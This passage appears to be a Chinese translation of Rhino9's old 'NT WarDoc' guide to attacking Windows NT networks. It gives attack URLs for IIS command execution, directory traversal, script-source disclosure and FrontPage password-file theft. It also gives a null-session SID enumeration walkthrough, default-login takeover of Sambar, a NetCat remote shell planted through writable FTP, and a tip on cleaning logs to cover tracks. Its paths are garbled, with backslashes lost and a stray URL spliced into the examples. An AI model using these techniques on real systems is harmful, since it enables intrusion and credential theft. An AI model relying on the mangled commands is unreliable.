— Checking write access in: \*SMBSERVERprint$
— WARNING: Directory is writeable: \*SMBSERVERprint$
— Attempting to exercise .. bug on: \*SMBSERVERprint$
— Attempting to access share: \*SMBSERVERROOT
— Unable to access
— Attempting to access share: \*SMBSERVERWINNT$
— Unable to access
如果您仔細地檢視這些結果,就能找到向攻擊者通知該工具已經發現有效使用者名稱/口
令的CONNECTED訊息。這時,入侵者只需通過新發現的使用者名稱/口令重新連線到那臺機器,
繼而進行攻擊。
對通過NetBIOS進行遠端滲透的探討到此為止。請記住,上面所討論的各種方法既不
是靜態的,也不是獨立的。那些花費大量時間對如何滲透基於NT的網路進行研究的入侵者
很富有創造力,他們不僅利用上述各種方法,而且在使用過程中把這些方法個性化。
通過Web伺服器進行的資訊收集與滲透
==============================================================================
目前,通過Web伺服器進行的資訊收集與遠端滲透因internet上的人口爆炸以及因此
而導致的資訊分佈已經是眾所周知。在討論NT Web伺服器上的遠端滲透和資訊收集時,我
們將把重點放在與NT 4.0捆綁在一起的Web伺服器——Internet資訊伺服器上。
儘管有一些要探討的問題確實過時了,但我們在這裡之所以涉及到這些內容,是因為
Rhino9小組在專業檢查中發現有些公司在他們的生產環境中仍然執行比較舊的軟體版本。
我們從資訊收集方法開始談起。我們將討論在攻擊過程中收集資訊的各種方法以及通
過Web伺服器獲得能在其它型別的攻擊中利用的資訊。
首先,我們將探討如何檢索目標機上的Web伺服器軟體包和版本。一些對安全性知識
一無所知的人可能會感到驚訝,為什麼會有人想了解目標機的Web伺服器版本?軟體的不
同版本都具有不同的脆弱性。因此,入侵者希望瞭解這些Web伺服器軟體和版本。
用來獲取Web伺服器軟體和版本的最老練的方法是telnet到HTTP埠上的目標主機。
一旦建立了telnet連線,只需發出一個簡單的GET命令就能檢視到HTTP標題資訊,這些信
息包括正被使用的Web伺服器軟體和版本。
不喜歡使用遠端登入或不希望通過標題資訊解析的人會嘗試著使用好幾種方法。第一
個也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以訪問[url]www.netcraft.com[/url]
並通過他們的查詢引擎從遠端目標檢索Web伺服器資訊。Netcraft還可以用來檢索所有已
知的Web伺服器主機名。例如,如果我們想找到屬於someserver.com域的所有Web伺服器,
就可以用Netcraft的引擎來查詢*.someserver.com,接著它會返回一個該域中所有Web服
務器主機的列表。其它能用來檢索Web伺服器版本的工具包括1nf0ze(Suld)和Grinder
(Rhino9的horizon)(所有這些工具的URLs見本文結尾處)。
一旦入侵者確定他所接近的是什麼樣的Web伺服器包,即可擬訂攻擊計劃。
注:這一節僅僅對一些較常見的攻擊進行介紹。
要涉及到的第一個攻擊是.bat/.cmd缺陷。由於這個缺陷已被公開證實,因此我們引
用如下(作者未知。如果其作者有機會閱讀本文,請馬上通知我們,以便於及時向作者支
付稿酬)。
.bat和.cmd BUG是Netscape伺服器中一個眾所周知的bug,其描述見WWW安全性常見問
題解答第59個問題。我們對如何在Internet資訊伺服器中實現這個bug已經介紹過多次。
現在我們來看一看IIS Web伺服器的初次安裝,其中所有的設定都是預設的:
1) CGI目錄是/scripts
2) 在/scripts目錄下沒有abracadabra.bat或abracadabra.cmd檔案。
3) IIS Web伺服器把.bat和.cmd副檔名對映到cmd.exe。
因此,登錄檔關鍵字
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC
ParametersScriptMap有以下字串:
a) /scripts/abracadabra.bat?&dir+c:+?&time
b) /scripts/abracadabra.cmd?&dir+c:+?&time
同時會發生下列情況:
1) 瀏覽器詢問您想怎樣儲存一個文件。Notepad.exe或其它閱讀器適用於這一“類
型”的應用。
2) 瀏覽器開始下載對話。螢幕上出現下載視窗。
3) 黑客點選下載視窗上的“取消”按鈕,因為伺服器上的”time”命令永遠不會終
止。
4) IIS Web伺服器不會在伺服器端記錄任何資訊,因為執行程式沒有成功地終止!
!!(幸虧採用了”time”命令。)想了解究竟發生了什麼事情的唯一方法是檢查所有的NT
安全記錄。但是,這些記錄不包含象REMOTE_IP這樣的資訊。因此,黑客的機器是完全匿
名的。
我們再重新開始:
1) IIS Web伺服器允許黑客通過輸入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN來執行他的
“批處理檔案”。在Netscape伺服器中,只能執行單一命令。
2) 在/scripts目錄下沒有abracadabra.bat檔案,但.bat副檔名被對映到
C:WINNT35System32cmd.exe。在Netscape伺服器中,實際的.bat檔案必須存在。
3) 在黑客輸入象”time”或”date”這樣的命令作為COMMAND[N]時,IIS Web伺服器不
會記錄任何資訊。在Netscape伺服器上,錯誤記錄會有一個關於遠端IP和您試著執行的命
令的記錄。
如果您不能正確地掌握這種情況下所發生的一切,入侵者就會採用以上攻擊順序在服
務器端生成檔案並予以執行。根據攻擊者的技術水平和意圖,其行為會產生不同的效果。
幸運的是,大多數工作環境已經不再執行舊得足以受這些缺陷影響的Internet資訊伺服器
版本。
在對bat/cmd缺陷進行徹底調查和證明之後不久,另一個bug又震驚了業界。同樣幸運
的是,這個缺陷也僅僅對舊版本的IIS造成影響。這個被稱為”double dot bug”的缺陷
使Web站點的訪問者能夠從允許訪問的web根目錄下逃脫並瀏覽或下載檔案。很顯然,最終
伺服器會包含不在指定Web根目錄下的敏感資訊,而這個簡單的缺陷會為外來者訪問這些
敏感資訊提供機會。這個命令是作為URL執行的,其結構如下:
[url]http://www.someserver.com/..[/url]..
當double dot bug不夠用時,不久之後就出現了這個缺陷的另一個變體。這個新發現
的缺陷使入侵者能夠執行目標機上的指令碼檔案。由於這個新缺陷是double dot bug的一個
變體,因此,這些指令碼檔案都不在web根目錄下。這種攻擊也是作為URL執行的,其結構如
下:
[url]http://www.someserver.com/scripts..[/url]..scriptname
Internet資訊伺服器的WindowsNT安裝需要一些用於公共訪問身份認證的帳戶。如果
這些帳戶沒有以任何方式出現,那麼,每一個訪問站點的訪問者都要提供身份資訊。這並
不是一個提供公用Web站點的非常有效的方法。在Internet資訊伺服器上,要使用的帳戶
是IUSR_account。這個帳戶及其口令都是在安裝過程中生成的。根據預設值,該帳戶是
Everyone群組的一個成員,而且,Everyone群組對NT驅動器上的所有資訊具有隻讀訪問權
限。這些方法與上述的缺陷相結合就會造成巨大的安全性破壞。
有段時間以來, URL相關的新攻擊型別每週都會出現。在上述指令碼缺陷之後出現的是
另一個指令碼相關的bug,它使入侵者能夠在目標機上生成一個檔案,隨後再執行該檔案。
其URL結構是:
[url]http://www.someserver.com/scripts/script_name%0A%0D>PATH[/url] arget.bat
當這個缺陷首次出現時,業界有很多人都不大重視這個問題。接著,就有訊息釋出,
證明了入侵者為獲得修復SAM拷貝會採取的具體步驟。其中就包括了上面的URL缺陷,它是
整個攻擊的組成部分。
當Microsoft釋出Internet資訊伺服器3.0時,活動的伺服器頁面(active server
page)技術開始走向世界。而同時,這一發布也為影響IIS和NT4的大量新缺陷的出現開啟
了大門。
活動的伺服器頁面為Microsoft界提供了簡單的和動態的Web頁面。人們可以通過很多
不同的方法來使用,如資料庫連線、標引與搜尋文件、身份認證以及用於那些討厭的廣告
標題的簡單圖形旋轉等。
活動的伺服器頁面這一概念實際上是相當有創造力的。HTML程式碼包括有在伺服器端執
行併為終端使用者生成動態內容的嵌入式指令碼程式碼。有了這個被廣泛使用的新技術,向公眾
釋出第一個缺陷也就指日可待了。這個被成為”dot flaw”的第一個缺陷使入侵者能夠在服
務器不執行指令碼的情況下檢視到指令碼。
其標準的URL結構是:
[url]http://www.genericserverhere.com/default.asp[/url]
其攻擊URL結構是:
[url]http://www.genericserverhere.com/default.asp.[/url]
這一攻擊會在攻擊者的Web瀏覽器上顯示未執行程式碼。不用說,指令碼程式碼會包含敏感
資訊,如遠端連線到資料庫上的使用者名稱/口令。在所有資訊中,這一類資訊是使用者不希望
入侵者接觸到的資訊。
當dot flaw的修復方法釋出時,也釋出了對付修復方法的缺陷的變體。第一個變體是
%2e。%2e是period的十六進位制值,因此,這表明所提供的修復方法還不夠健壯。這種缺陷
的各種變體有時還在出現。由於所有變體都產生相同的最終結果,所以這裡就不一一贅述
了。下面是一些攻擊URL結構:
[url]http://www.someserver.com/default%2easp[/url]
[url]http://www.someserver.com/default%2e%41sp[/url]
[url]http://www.someserver.com/default.asp::$DATA[/url]
[url]http://www.someserver.com/shtml.dll?.asp[/url]
安全界的每一個人都有這樣的感覺:近期內,這些方法不會是最後的指令碼顯示方法。
隨著這些指令碼的應用越來越廣泛,它們將包含越來越多的敏感資訊。這些簡單的方法可導
致入侵者輕而易舉地獲得敏感資訊。
就通過IIS收集資訊而言,最常見和容易的攻擊之一就是索引伺服器(Index Server)
攻擊。索引伺服器是一個包括在internet資訊伺服器(IIS)3.0中的小搜尋引擎模組。這個
模組使Web管理員能夠向訪問其站點的訪問者提供搜尋Web站點內容的可搜尋介面。雖然索
引伺服器本身並沒有什麼問題,但如果Web站點管理員缺乏培訓就會出現問題。索引服務
器的安裝和維護都很簡單,不過,它對目錄和作用域的使用會導致管理員不能正確地配置
允許許可權和可搜尋內容。這一配置問題會使入侵者獲得在一般情況下他需要花大量的時間
和精力才能得到的對資訊的訪問許可權。
這種攻擊的預設URL結構是:
[url]http://www.someserver.com/samples/search/queryhit.htm[/url]
這個路徑反應出了進入樣本頁面的預設路徑。如果這個路徑不是一個有效路徑,入侵
者就會仍然點選具有幫助作用的標題“Search This Site”連結,訪問相同的資訊。一旦
入侵者成功地訪問到該html文件,就會出現一個包含有表格欄位的Web頁面。在這個表格
欄位中,訪問者一般都會輸入他想搜尋的資訊。入侵者會採用一個檔名搜尋字串,
如:
#filename=*.txt
這個字串會指示索引伺服器通過索引的資料目錄搜尋任何以該副檔名結尾的文
件。請記住,這個副檔名並不侷限於索引伺服器能理解的副檔名。如果索引伺服器遇
到一個它不知道的檔案型別,它就會把這個檔案型別當作二進位制來處理,並對檔名、擴
展名、日期及其它屬性編寫索引。這表明入侵者可搜尋任何資訊,包括能搜尋到修復sam
的*._。有趣的是,索引伺服器與其它internet搜尋引擎不同,它不會顯示請求者沒有訪
問許可權的檔案。也就是說,如果索引伺服器返回一個它找到檔案的資訊,那麼該檔案就是
可訪問的。
入侵者會試著利用的另一個預設功能是Internet資訊伺服器Web管理介面。在IIS預設
的安裝中,Web管理介面內建在Web根目錄的”iisadmin”子目錄下,這說明它的URL攻擊
結構是:
[url]http://www.someserver.com/iisadmin[/url]
如果管理員在這個介面上已經錯誤地配置了允許許可權,那麼,入侵者就會通過管理功
能獲得對Web伺服器的未授權訪問。如果訪問成功,就會出現一個管理工具的html介面。
根據IIS和NT處理允許許可權的方法,入侵者有可能得到訪問介面的許可權,但沒有真正採取
任何行動的允許許可權。因此,如果您正在檢查您自己的網路,一定要作一些小的更改,以
確定網路是不是有問題。
在97年底和98年初曾經發生過大量的Web伺服器攻擊。在這些攻擊中,大部分攻擊都
具有一個共同點:web伺服器正在執行Microsoft Frontpage Extensions。Frontpage
Extensions是很小的”web bots”,如果您願意,即可讓作者或web站點管理員執行復雜或
相關的任務。
Frontpage Extensions存在的問題是,預設的Frontpage安裝不安全,尤其是在UNIX
版本中。大量支援這些副檔名的伺服器都沒有設口令,或者把管理許可權分配給Everyone群
組。這裡的Everyone群組還是表示每個人,包括匿名連線。
下面,我們來看一看第一個採用Frontpage客戶機軟體進行的攻擊。
支援Frontpage的伺服器會有若干個以字母”_vti”開頭的工作目錄。在任何常用的
搜尋引擎上搜尋預設的Frontpage目錄會得到大量從引擎上返回的資訊。然後,入侵者就
能對這些伺服器進行簡單而又反覆的攻擊。這種攻擊的執行過程如下:
1- 開啟您自己的Frontpage個人拷貝
2- 進入”Open frontpage web”對話方塊
3- 輸入您要攻擊的伺服器的URL或IP
如果伺服器沒有設口令,或者,如果允許許可權是分配給Everyone群組的,Frontpage
就會為您開啟遠端站點並允許您能夠進行更改。這種攻擊實際上是很簡單的。如果副檔名
正確,就會出現使用者名稱/口令對話。入侵者可以嘗試一些基本的組合如管理員/口令。如果
入侵者有興趣,他會一直嘗試下去。
另外,入侵者還可以用同樣的”open frantpage web”方法來得到完整的使用者列表。這
種方法可以用在brute force攻擊中。鑑於對通過這種方法終止使用者名稱的收集進行解釋的
檔案資料已經公開發布,您就應該建立一個象FP_[url]www.yourdomain.com:80[/url]這樣的限制群
組。這個新的限制群組確實起作用,除非入侵者採用的是您的伺服器的IP地址,而不是域
名。
還有其它一些方法能夠與Frontpage一起使用,它們會抓取Frontpage口令檔案。
Frontpage一般把口令儲存在_vti_pvt目錄下,有相同的service.pwd。入侵者會試著執行
下列URL:
[url]http://www.someserver.com/_vti_pvt[/url]
如果允許許可權設定不正確並允許目錄瀏覽,入侵者就會得到該目錄下的檔案,包括
service.pwd。管理員通常會重視安裝和站點的安全性並限制對該目錄的訪問。儘管這個
方法不錯,但始終要防止NTFS對網路造成破壞。根據NTFS的配置,使用者仍然可以得到口令
檔案的訪問許可權,即使對其父資料夾的訪問已經被拒絕。在這種情況下,入侵者只需在
URL中輸入訪問該檔案的完整路徑,如:
[url]http://www.someserver.com/_vti_pvt/service.pwd[/url]
儘管Frontpage口令檔案是加密檔案,但它是用標準DES加密的,因此,任何DES解密
高手都能在正確診斷該檔案後獲得口令資訊。另外,入侵者也會刺探其它_vti目錄,因為
這些目錄有時也會儲存敏感資訊。在掌握了使用者名稱並對口令解密後,入侵者就會用他的
Frontpage重新連線並提供身份證明資訊;或者,如果相同的使用者名稱/口令在上下文中能起
作用,入侵者即可通過其它方式利用這些身份證明資訊,如對映網路驅動器等。
(注:Service.pwd不是唯一已知的口令檔名。已經掌握的口令檔案有Authors.pwd
, admin.pwd, users.pwd和administrators.pwd等。)
在Frontpage相關的方法中,二進位制FTP方法被看作是技術上最成熟的方法,雖然這種
方法實現起來相當容易。這個二進位制攻擊會使入侵者通過Frontpage副檔名執行任意二進
制檔案。入侵者必須找到既支援Frontpage又支援FTP匿名可寫程式的伺服器。在通過FTP
連線到伺服器之後,入侵者就可以新建一個名為_vti_bin的目錄。然後他就可以下載他想
放在新建目錄下的任何可執行程式。一旦上載了可執行檔案,入侵者就會輸入下列URL:
[url]http://www.someserver.com/_vti_bin/uploaded_file[/url]
然後,伺服器就會執行這個檔案。
在二進位制進攻方法被傳播開來不久之後就發現了_vti_cnf。這會使入侵者檢視到特定
目錄下的所有檔案。通過用_vti_cnf替換index.html,入侵者就能看到該目錄下的所有文
件,並有可能獲得訪問許可權。這種攻擊結構如下:
標準結構—[url]http://www.someserver.com/some_directory_structure/index.html[/url]
攻擊結構—[url]http://www.someserver.com/some_directory_structure/_vti_cnf[/url]
看起來,能產生類似結果的相同攻擊型別數不勝數。遺憾的是,事實確實如此。在這
些缺陷中,有很多已經被研究缺陷變體的人士所發現,但並不是所有影響NT Web服務的缺
陷都來自Internet資訊伺服器。
另外還有其它一些將在NT上執行的Web伺服器軟體包,象眾所周知的Apache Web服務
器。當然,有了這些第三方Web伺服器軟體包和在這些第三方軟體包上執行的指令碼,新的
缺陷註定會暴露出來。
Webcom Datakommunikation曾經發布了一個允許Web站點的訪問者在來賓卡上簽名的
cgi指令碼。Cgi指令碼的名字是guest.exe。只要發出正確的命令,這個小小的cgi指令碼就會使
攻擊者檢視到您伺服器上的任意文字檔案。
訪問者要簽名的表格頁面包含了很多隱藏欄位。其中一個隱藏輸入欄位如下(根據
David Litchfield的報告):
input type=”hidden” name=”template”
value=”http://blog.77169.com/c:inetpubwwwrootgb emplate.htm”>
or
input type=”hidden” name=”template” value=”http://blog.77169.com/”/gb/template.htm”>
” 這裡的template.htm是在使用者輸入資訊後通過wguest.exe顯示出來的檔案。為了利用
這一點,攻擊者會檢視原始碼並把該文件儲存在他的桌面上,然後通過改變他想檢視的任
意檔案的路徑對這一行進行編輯,例如:
input type=”hidden” name=”template”
value=”http://blog.77169.com/c:winntsystem32$winnt$.inf”>
[如果完成了獨立安裝,即可通過這個檔案得到管理口令]
然後,點選”Submit”,wguest.exe就會顯示這個檔案。這種方法沒有用PWL檔案測
試過。不過,攻擊者必須知道他要檢視的檔案的正確路徑。
另一個“類屬的”HTTPD方法涉及到一個在WindowsNT上執行的第三方Web伺服器產
品,稱為Sambar伺服器。下面是直接從招貼中引用的內容:
檢視攻擊物件的HDD是大有可能的。您可通過使用這些關鍵字
+sambar +server +v4.1
搜尋Internet,找到執行Sambar伺服器的計算機。
如果您找到的站點是:[url]http://www.site.net/[/url],就做一次測試,執行一個perl指令碼:
[url]http://www.site.net/cgi-bin/dumpenv.pl[/url]
現在您看到的是攻擊物件的計算機的完整環境,包括他的路徑。您可以試著通過以下
URL以管理員的身份登入:
[url]http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html[/url]
預設登入為:admin;預設口令為空白。如果攻擊物件還沒有更改他的設定,您現在
就能控制他的伺服器。另一個特徵是檢視攻擊物件的HDD。如果您能執行perl指令碼,也就
應該能(在大多數情況下)通過他的路徑檢視目錄的指令碼。大多數人在路徑行中都有
C:/program files和C:/windows,因此,您可以利用以下URL:
[url]http://www.site.net/c:/program[/url] files/sambar41
我們在這裡簡單提一下Netscape Enterprise Server。有些軟體版本通過允許使用者訪
問目錄對?PageServices引數作出反應。[url]http://www.site.net/?PageServices[/url]就是實現方
法。
最後,我們再來看看FTP。FTP是一個比較安全的協議。很多人會認為平臺和版本冗餘
使它更安全,總的來說,這種看法是正確的。但多數經驗豐富的安全專業人士會告訴您,
如果最終管理員沒有受過專業培訓,版本和平臺實在沒有多大意義。鑑於Rhino9按照FTP
允許許可權已經能夠滲透大量的伺服器,我們就在這裡給一個簡單的提示。有些管理員不會
注意或理解他們的Web伺服器上的”Anonymous world writable”。但Rhino9通過一個錯
誤配置的FTP伺服器提出了疑問並滲透到整個網路。
通過anon-ftp-writable把NetCat上載到伺服器上、通過URL執行這個程式以及把它綁
定到埠上都很容易實現。從那一刻起,您在NT上就有了一個遠端“外殼”。通過連線到
該遠端NetCat繫結,所有從該外殼發出的命令列功能似乎都是從具有在內部使用者上下文中
執行的NetCat繫結的那個外殼發出的。
其它的資訊收集與滲透方法
==============================================================================
(如同那些包括很多不同主題的安全相關文件一樣,有些主題似乎有點不合時宜。這
一節將探討一些確實不適合本文的不同方法。如有內容不完整之處,敬請原諒。)
如果說Rhino9小組有一個投入大量時間來研究的產品,那就是WinGate。第一個有關
WinGate的問題是通過具有所有後續連線的WinGate進行“彈跳”的功能。這個小缺陷非常
容易使用。入侵者可以遠端登入到WinGate埠並看到這樣的提示符:
WinGate>
在該提示符下,您能發出一個獨立的遠端登入命令,或者利用WinGate的SOCK功能建
立其它連線。當該軟體產品的開發商急於釋出其修復版本和公告欄時,下一個版本的釋出
也出現了問題。
在WinGate的預設安裝中,WinGate機器是用記錄服務配置的。記錄服務監聽WinGate
機器的8010埠。通過建立該埠的HTTP連線,入侵者就會得到兩個資訊:
“Connection Cannot Be Established”
或WinGate機器硬驅的列表。請記住,這是一個預設安裝,可以通過更改預設安裝配
置來修復。
隨著Exchange伺服器成為越來越通用的郵件伺服器包,其缺陷也開始出現。第一個暴
露出來的缺陷是Exchange結構中的口令快取記憶體問題。下面是直接從原版招貼中引用的內
容:
用提供有POP3服務的Exchange 5.0在您的NT域上新建一個使用者xyz。把xyz的口令設定
為a1234。到目前為止一切都正常。現在把xyz的口令更改為b5678。您就會發現無論使用
這兩個口令中的哪一個,POP3郵件客戶機都能登入。現在再把口令改為另一個值,您會發
現POP3客戶機(或直接遠端登入到110埠)能夠用這三個口令中的任何一個登入。結果
是這些口令都起作用。由於Exchange 5.0服務POP3連線符采用非雜湊機制對口令進行高速
快取,因此,所有的口令都能起作用。這一特徵既不影響用來接收那些採用不同身份認證
的郵件的Web頁面新介面,也不影響NT登入。在非POP3登入資訊中,口令不是快取記憶體的
(除了NNTP和LDAP以外)。如您所看到的,快取記憶體問題在特定環境中是一個非常嚴重的
問題。
入侵者用來收集資訊的另一個方法是基於目標郵件伺服器的SMTP埠的。為了保證適
應SMTP並能與internet上的其它郵件實體完全互動,基於NT的SMTP郵件伺服器要掌握驗證
特徵。通過建立與郵件伺服器SMTP埠的遠端登入會話,入侵者能夠發出連同使用者名稱一起
的驗證命令。如果驗證特徵被啟用,伺服器就能告訴入侵者它是否是有效的使用者名稱。攻擊
命令是:
vrfy administrator (該命令會驗證使用者指定的管理員是否存在)
在一些郵件系統上,首先要求入侵者完成HELO排序,不過這一步非常簡單。顯而易
見,這會導致入侵者收集到有效使用者名稱列表,然後用於其它攻擊。
結束語
==============================================================================
本文的作者希望您通過閱讀本文能夠做到學有所用。另外,我們也想提醒讀者的是,
我們希望本文始終能跟上目前業界的發展情況。我們計劃在不久的將來發布本文的更新版
本,從而及時提供管理員和安全專業人士都能利用的最新資訊。請將您的資訊收集與遠端
滲透方法寄至[email]neonsurge@hotmail.com[/email]。一旦釋出本文的新版本,我們會在NTBugTraq等列
表上發出通知。本文的主頁在Rhino9 Web站點上([url]http://rhino9.ml.org[/url])。
本文的作者在近期內有另外三個文件準備釋出。這三個文件都屬於NT WarDoc系列,
分別是即將完成的服務拒絕、本地滲透方法以及一篇論述用來警惕其它論文主題的方法的
論文。我們衷心地希望能及時得到業界的反饋資訊。
附錄A:NET命令
==============================================================================
下面是所有Net命令及其功能:
Net Accounts:顯示口令、登入限制和域資訊的當前設定。另外,它還包含有更新使用者帳
戶資料庫和修改口令、登入要求的選項。
Net Computer:通過域資料庫增加或刪除計算機。
Net Config Server or Net Config Workstation:顯示有關伺服器服務的配置資訊。在
沒有指定伺服器或工作站的情況下使用時,這個命令顯示可配置服務的列表。
Net Continue:恢復被NET PAUSE命令暫停的NT服務。
Net File:列出伺服器上公開的檔案,併為關閉共享檔案和清除檔案鎖定提供選項。
Net Group:顯示有關群組名字的資訊,並提供您能用來增加或修改伺服器上的全域性群組
的選項。
Net Help:這些命令的幫助資訊。
Net Helpmsg message#:獲得有關特定NET錯誤或功能訊息的幫助資訊。
Net Localgroup:列出伺服器上的本地群組。您也可以修改這些群組。
Net Name:顯示接收訊息的計算機和使用者的名字。
Net Pause:中斷特定的NT服務。
Net Print:顯示列印作業和共享佇列。
Net Send:把訊息傳送給網路上的其它使用者、計算機或訊息處理名字。
Net Session:顯示有關當前會話的資訊。它還可以切斷特定會話。
Net Share:列出計算機上所有正被共享的資源的資訊。它還可用來建立網路共享。
Net Statistics Server or Workstation:顯示統計記錄。
Net Stop:停止NT服務,取消該服務正在使用的任何連線。大家都知道,停止一個服務即
可停止其它服務。
Net Time:用來顯示或設定計算機或域的時間。
Net Use:顯示已連線計算機的列表,並提供共享資源的連線和切斷選項。
Net User:顯示計算機的使用者帳戶列表,並提供建立和修改這些帳戶的選項。
Net View:顯示計算機上正被共享的資源的列表。包括NetWare伺服器。
**有關DOS和舊版本Windows機器的註解:以上列出的命令適用於Windows NT伺服器和工作
站。DOS和舊版本的Windows客戶機可使用下列NET命令:
Net Config
Net Diag(執行診斷程式)
Net Help
Net Init(載入協議和網路介面卡驅動程式)
Net Logoff
Net Logon
Net Password(更改口令)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver(顯示網路轉向器的型別和版本)
Net View
附錄B SID工具的使用例項
==============================================================================
下面是SID工具的使用例項,是直接從有關該工具的公告蘭上引用的:
這個缺陷與實用程式User2id和Sid2User一起使用。這些實用程式利用的是
LookupAccountName和LookupAccountSid WIN32功能。這些功能必須由具有Everyone訪問
許可權的使用者來執行,實現起來並不困難。
其實現過程如下:
1) 查詢任意域帳戶的一個SID,例如域使用者
user2sid “domain users”
S-1-5-21-201642981-56263093-24269216-513
現在我們知道了當前域的所有次許可權。域帳戶僅與SID的最後一個數字不同,被稱為
RID。
2) 查詢內建管理員名字(RID始終是500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
現在有可能從第一個域帳戶開始查詢所有的域帳戶(RID = 1000表示第一個帳戶,
1001表示第二個,以此類推。RIDs永遠不會再用於當前的安裝)。
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
…
請記住:匿名帳戶也是Everyone群組的組成部分。有時也會發生這樣的情況,即匿名
帳戶沒有經過註冊/登出特徵的檢查。
下面這個例子是在假設NetBIOS埠開放的情況下進行的(這個列表是虛構的):
nslookup [url]www.xyz.com[/url]
Non-authoritative answer:
Name: [url]www.xyz.com[/url]
Address: 131.107.2.200
net use \131.107.2.200ipc$ “” /user:””
The command completed successfully.
user2sid \131.107.2.200 “domain users”
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed – no such account
Default NT Install SID`s are:
DOMAINNAMEADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAMEGUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAMEDOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAMEDOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAMEDOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Group
BUILTINADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTINUSERS S-1-5-32-545 (=0x221)
BUILTINGUESTS S-1-5-32-546 (=0x222)
BUILTINACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTINSERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTINPRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTINBACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTINREPLICATOR S-1-5-32-552 (=0x228)
Specail Groups
CREATOR OWNER S-1-3-0
EVERYONE S-1-1-0
NT AUTHORITYNETWORK S-1-5-2
NT AUTHORITYINTERACTIVE S-1-5-4
NT AUTHORITYSYSTEM S-1-5-18
附錄C:預設IIS結構的關係位置
==============================================================================
C:InetPubwwwroot
C:InetPubscripts /Scripts
C:InetPubwwwroot\_vti_bin /_vti_bin
C:InetPubwwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:InetPubwwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:InetPubcgi-bin /cgi-bin
C:InetPubwwwrootsrchadm /srchadm
C:WINNTSystem32inetserviisadmin /iisadmin
C:InetPubwwwroot\_vti_pvt /_vti_pvt
C:InetPubwwwrootsamplesSearchQUERYHIT.HTM Internet Information Index
Server sample
C:Program FilesMicrosoft FrontPage\_vti_bin
C:Program FilesMicrosoft FrontPage\_vti_bin\_vti_aut
C:Program FilesMicrosoft FrontPage\_vti_bin\_vti_adm
C:WINNTSystem32inetserviisadminhtmldocsadmin.htm /iisadmin/isadmin
Frontpage特有的檔案及其功能:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS
and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords
of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to
cover an intruders tracks.
附錄D:服務
==============================================================================
我已經收到過無數有關NT服務的郵件。人們都在問,他們該做些什麼,哪些服務應該
去啟用,等等。下面是NT服務的列表,包括每個服務的說明和安裝建議。——NeonSurge
ALERTER(告警器):依賴於NetBIOS,通過TCP/IP進行網路通訊。這個服務使使用者能
夠接收其它機器發出的訊息。這些訊息可以是告警資訊或預先確定的網路資訊。建議去激
活機器上的這個服務,因為它依賴於NetBIOS,而且幾乎從來都沒用過。
CLIPBOOK SERVER(剪貼本伺服器):依賴於NetBIOS,通過TCP/IP進行網路通訊。該
伺服器服務允許剪貼簿上的內容通過網路共享。由於這個服務很少用,而且遠端入侵者可
以通過它獲得資訊,因此應該去啟用。
COMPUTER BROWSER(計算機瀏覽器):該服務使使用者通過網路鄰居的瀏覽能檢視到可
用的網路資源。當在伺服器上啟用時,伺服器就會通過NetBIOS廣播註冊它的名字或直接
註冊到WINS伺服器上。建議去啟用這個服務。
DHCP CLIENT(DHCP客戶機):如果機器是DHCP客戶機,應該把該服務設定為自動激
活;如果不是,去啟用。
DIRECTORY REPLICATOR(目錄複製器):該服務使NT系統能夠輸入和輸出目錄內容。
如果您不需要內容複製,就去啟用該服務。
EVENT LOG(事件記錄):建議始終利用這個服務,因為它負責記錄伺服器上的活
動,包括安全活動等。
LICENSE LOGGING SERVICE(LICENSE記錄服務):用來跟蹤不同應用所使用的
licenses。它不會對網路產生任何嚴重的影響,應設定為自動啟用(這是預設設定)。
MESSENGER SERVICE(MESSENGER服務):依賴於NetBIOS,通過TCP/IP進行網路通
信。它在設計和功能上類似於報警器服務。建議停止該服務,以防止通過NBTSTAT命令使
用使用者名稱列舉。
NET LOGON(NET登入):該服務被伺服器和工作站用來提供使用者身份認證。該服務隨
時都需要,它是作為內建SYSTEM使用者執行的。
NETWORK DDE and DDE DSDM(網路DDE與DDE DSDM):這些服務提供動態資料交換。
DDE用於象聊天這樣的應用(這很重要)以及可能需要這類功能的其它應用。這些服務因
其TCP連線接受狀態而被認為具有一定的風險。
NETWORK MONITOR AGENT(網路監控代理):該服務用來對通過網路適配卡的通訊量
進行監控。如果本軟體的SMS版本正被使用,管理員就能遠端監控另一個網路適配卡上的
通訊量。
